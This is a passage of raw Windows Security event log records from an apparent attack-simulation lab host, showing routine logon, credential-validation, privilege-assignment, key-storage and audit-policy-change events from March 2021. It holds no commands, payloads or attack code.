	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245712
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245711
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF37A7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245710
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF37A7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245709
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF37A7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245708
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245707
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245706
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF349E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245705
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF349E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245704
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245703
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245702
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF2E0A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245701
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF2E0A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245700
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245699
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245698
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF2D9C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245697
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF2D9C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245696
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF2D9C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245695
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245694
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245693
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF057C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5059
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245692
Keywords=Audit Success
Message=Key migration operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	332fe7e7-d709-e3d8-af9e-7236c48f4c55
	Key Type:	User key.

Additional Information:
	Operation:	Export of persistent cryptographic key.
	Return Code:	0x0
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=System Integrity
OpCode=Info
RecordNumber=245691
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	332fe7e7-d709-e3d8-af9e-7236c48f4c55
	Key Type:	User key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245690
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	332fe7e7-d709-e3d8-af9e-7236c48f4c55
	Key Type:	User key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\SystemKeys\c863ea31ca086d21d5ab6f408a21b763_51f82a1e-9fd6-46e2-8656-0a748eeada79
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=System Integrity
OpCode=Info
RecordNumber=245689
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	332fe7e7-d709-e3d8-af9e-7236c48f4c55
	Key Type:	User key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245688
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	332fe7e7-d709-e3d8-af9e-7236c48f4c55
	Key Type:	User key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\SystemKeys\c863ea31ca086d21d5ab6f408a21b763_51f82a1e-9fd6-46e2-8656-0a748eeada79
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245687
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245686
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245716
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xF48F2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245750
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\program_files_windows_defender_3e33901162166ae9.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245749
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\program_files_ffd0cbfc813cc4f1.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245748
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\program_files_x86__676bbe2c7241b694.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245747
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_system_tools_fde5decba5bb578b.cdf-ms
	Handle ID:	0x58

Process Information:
	Process ID:	0x1070
	Process Name:	C:\Windows\System32\poqexec.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:38:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
